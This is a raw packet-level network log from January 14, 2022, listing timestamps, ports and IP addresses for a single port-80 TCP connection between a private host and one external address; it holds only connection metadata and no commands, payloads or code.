Jan 14, 2022 05:00:00.622503042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622512102 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622541904 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622581959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622590065 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622617960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622657061 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622664928 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622695923 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622733116 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622742891 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622772932 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622811079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622833967 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622850895 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622890949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622914076 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622927904 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622967005 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622973919 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623006105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623040915 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623054028 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623080015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623117924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623122931 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623157024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623195887 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623204947 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623234034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623271942 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623277903 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623311043 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623347044 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623359919 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623385906 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623425007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623434067 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623465061 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623503923 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623512983 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623539925 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623579025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623593092 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623616934 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623653889 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623661041 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623692036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623730898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623738050 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623769999 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623809099 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623815060 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623845100 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623883963 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623889923 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623922110 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623958111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.623964071 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.623996973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624033928 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624039888 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.624073029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624111891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624116898 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.624149084 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624187946 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624195099 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.624227047 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624263048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624277115 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.624301910 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624340057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624347925 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.624380112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624422073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624425888 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.624459028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624496937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624504089 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.624536037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.624579906 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.634902000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.634924889 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.634946108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.634965897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.634970903 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.634989023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.634993076 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635010958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635029078 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635034084 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635056019 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635056973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635078907 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635094881 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635098934 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635107040 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635121107 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635126114 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635143995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635143995 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635160923 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635169029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635180950 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635190964 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635212898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635224104 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635232925 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635236025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635251999 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635257959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635273933 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635281086 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635303020 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635304928 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635314941 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635325909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635348082 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635360956 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635369062 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635369062 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635385990 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635390997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635413885 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635421991 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635435104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635435104 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635452986 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635457039 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635469913 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635478973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635495901 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635510921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635533094 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635535002 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635552883 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635555029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635567904 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635576010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635596991 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635601997 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635615110 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635617971 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635632038 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635638952 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635662079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635663033 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635674953 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635682106 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635703087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635706902 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635719061 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635725021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635746002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635746002 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635761023 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635767937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635788918 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635802984 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635809898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635812044 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635826111 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635832071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635844946 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635853052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635874033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635879993 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635893106 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635896921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635910988 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635917902 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635940075 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635953903 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635961056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635965109 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635972023 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.635982990 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.635994911 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636004925 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636025906 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636029959 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636046886 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636049032 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636064053 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636070013 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636082888 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636090994 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636116982 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636123896 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636138916 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636140108 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636159897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636159897 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636179924 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636182070 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636198997 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636203051 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636218071 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636224031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636245966 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636256933 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636267900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636267900 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636284113 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636290073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636302948 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636312962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636334896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636351109 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636358023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636365891 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636379004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636389971 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636400938 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636415005 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636423111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636426926 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636442900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636449099 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636465073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636466980 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636487007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636487007 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636506081 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636511087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636528015 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636534929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636554956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636565924 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636575937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636575937 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636593103 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636599064 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636621952 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636625051 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636639118 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636642933 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636655092 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636665106 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636687040 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636691093 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636706114 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636708975 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636723995 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636729956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636751890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636758089 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636773109 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636774063 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636794090 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636795044 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636814117 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636816025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636833906 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636840105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636858940 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636862993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636879921 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636887074 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636909008 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636919975 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636930943 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636933088 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636949062 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636954069 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636969090 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.636974096 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.636996031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637006044 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637016058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637018919 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637037039 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637037992 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637057066 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637058973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637079000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637095928 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637104034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637104034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637124062 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637128115 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637140036 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637145042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637164116 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637166023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637180090 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637187004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637207985 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637216091 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637228012 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637228966 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637249947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637254000 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637269974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637271881 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637290001 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637290955 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637311935 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637326002 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637337923 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637343884 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637352943 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637366056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637391090 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637403011 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637411118 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637428045 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637433052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637440920 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637454033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637455940 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637475014 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637480021 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637492895 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637496948 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637511015 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637517929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637532949 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637540102 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637561083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637574911 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637582064 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637582064 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637594938 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637603045 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637614012 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637624025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637645960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637649059 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637660027 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637666941 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637686014 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637687922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637701988 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637707949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637727976 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.637728930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637748003 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.637748957 CET	49905	80	192.168.2.3	94.142.143.91
